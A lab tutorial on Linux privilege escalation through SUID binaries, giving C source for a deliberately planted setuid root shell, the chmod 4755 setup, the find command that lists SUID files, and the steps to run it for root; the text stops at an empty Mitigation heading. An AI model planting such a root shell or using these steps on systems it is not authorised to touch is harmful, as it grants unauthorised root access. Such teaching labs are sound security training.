Linux Privilege Escalation: SUID Binaries

Introduction

The SUID (Set User ID) bit is a special permission in Linux that allows a user to execute a program with the permissions of the file owner. This lab will guide you through identifying and exploiting a misconfigured SUID binary to escalate your privileges from a standard user to root.

Lab Objectives

• Understand how SUID permissions work.
• Learn how to find all SUID-enabled files on a system.
• Exploit a vulnerable SUID binary to gain a root shell.
• Understand basic mitigation strategies.

Lab Setup

First, we need to create a vulnerable SUID binary. You can download the required source code file below or follow the steps to create it manually.

1. Create a new C file named vulnerable.c:

nano vulnerable.c

2. Add the following code to the file. This program will grant root privileges and open a bash shell.

#include <stdio.h>
#include <unistd.h>

int main() {
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", "-p", NULL);
  return 0;
}

3. Compile the program using gcc:

gcc vulnerable.c -o vulnerable_shell

4. As a privileged user (sudo), change ownership to root and set the SUID bit:

sudo chown root:root vulnerable_shell
sudo chmod 4755 vulnerable_shell

Step 1: Reconnaissance - Finding SUID Binaries

As a low-privilege user, your first step is to find all files on the system with the SUID bit set. The find command is perfect for this.

find / -perm -u=s -type f 2>/dev/null

This command will produce a list of all SUID binaries. You should see our vulnerable_shell in the output.

Step 2: Analysis - Identifying Vulnerable Binaries

After getting a list of SUID binaries, you need to identify which ones are abusable. In our case, vulnerable_shell is an obvious target. We can use the strings command to get a hint of what it does:

strings ./vulnerable_shell

You will likely see /bin/bash in the output, which is a strong indicator that it can spawn a shell.

Step 3: Exploitation

This is the simplest part of this lab. Since the binary is designed to open a shell, all we have to do is execute it.

./vulnerable_shell

Once you run it, check your user ID:

id

The output should be uid=0(root) gid=0(root) groups=0(root),.... Congratulations, you have successfully escalated your privileges to root!

Mitigation